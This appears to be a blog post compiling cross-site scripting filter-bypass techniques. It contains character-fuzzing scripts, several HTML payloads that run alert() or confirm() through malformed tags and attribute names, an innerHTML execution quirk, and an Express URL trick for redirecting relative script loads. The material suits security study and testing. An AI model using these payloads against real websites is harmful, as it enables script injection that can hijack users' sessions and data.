A Compilation of XSS Techniques

lexsai | 2023-10-14

Introduction

This is a list of XSS techniques with brief explanations from various payload lists, blog posts, books and tweets spread across the internet.

Filter Bypass in HTML Tags

Space Alternatives in Separating Tag Attributes

for(i=0;i<=0x10ffff;i++){
    let char = String.fromCodePoint(i)
    display.innerHTML = `<img${char}id=amongus>`;
    if (document.getElementById('amongus')) {
        console.log(`char '${char}' (hex code 0x${i.toString(16).toUpperCase()}) works`);
    }
}

Fuzzing with the above script, we find that the characters 0x9 (horizontal tab), 0xA (new line), 0xC (new page), 0xD (carriage return) and 0x2F (forward slash) all work in place of spaces in the above context.

Additionally, no spaces are needed when an attribute is set to a quoted string before. Refer to example 3 to see what this means clearly.

Example 1

<img/src=x/onerror=alert(1)>

A basic example.

Example 2

<svg </onload ="1> alert(1)">

That / looks like it’s part of a closing tag, but it isn’t. In reality, it separates < from onload and creates an attribute named <.

Example 3

<svg abcd=""onload=alert(1)>

No separation character needed.

Symbols Allowed in Custom Tag Names

for(i=0;i<=0x10ffff;i++){
    let char = String.fromCodePoint(i)
    display.innerHTML = `<amongus${char}>`;
    if (!document.getElementsByTagName(`amongus${char}`)) {
        console.log(`char '${char}' (hex code 0x${i.toString(16).toUpperCase()}) does not work`);
    }
}

Fuzzing with the above script, we find that any non-space (or space alternative) unicode character will work as tag name characters in the above context.

Example 1

<w=" x="y>" ondblclick=confirm()>double click me!</w=">

A tag named w=" to deceive some parsers.

Symbols Allowed in Attribute Names

for(i=0;i<=0x10ffff;i++){
    let char = String.fromCodePoint(i)
    display.innerHTML = `<img id=amongus src=x ${char}_ onerror=alert(1)>`;
    if (!document.getElementById('amongus').hasAttribute(`${char}_`)) {
        console.log(`char '${char}' (hex code 0x${i.toString(16).toUpperCase()}) does not generate a character`);
    }
}

Fuzzing with the above script, we find that any non-space (or space alternative) unicode character will work in attribute names. If a null character (character code 0x0) is used, it will be replaced with a unicode replacement character.

Example 1

<img src="/" =_=" title="onerror='alert(1)'">

Put yourself in the point of view of a parser, and you’ll quickly see just how confusing this is. Separating each attribute to a new line, we see:

<img 
    src="/" 
    =_=" title="
    onerror='alert(1)'
    "
>

The trick here is that we have an attribute named =_ to deceive an equal signs parser and another attribute named " for confusing a quote parser.

Javascript Scope in ‘on’ Attributes

The properties of an HTML element object are accessible within the on attributes of that HTML element in the global scope.

Example 1

<img src=x id=alert(__proto__) onerror=eval(id)>

The id property is defined on the HTMLImageElement object, so it is available in the global scope of the javascript code running from the onerror attribute. We further demonstrate this behaviour by alerting the __proto__ property of our HTMLImageElement object.

Setting innerHTML Will Always Trigger XSS


element = document.createElement()
element.innerHTML = "<img src=x onerror=alert()">
// element never gets added to DOM.

This triggers XSS for whatever reason. Setting innerHTML of an element, even if the element literally does not exist in the DOM, will still trigger javascript execution.

Express URL Handling

example.com/index.html

example.com/abcdefghijklmnop%2f..%2findex.html

Both of the above URLs, if sent to an express server, will return index.html.

However, in the browser, example.com/abcdefghijklmnop%2f..%2findex.html becomes the base URL. What this means is that relative imports will be done based off of example.com/abcdefghijklmnop%2f..%2findex.html. So, for example, if a script tag had src='main.js', the browser would attempt to load the file from example.com/abcdefghijklmnop%2f..%2findex.html/main.js.

In some cases, we may be able to force example.com/abcdefghijklmnop%2f..%2findex.html/main.js to some valid js of our choosing.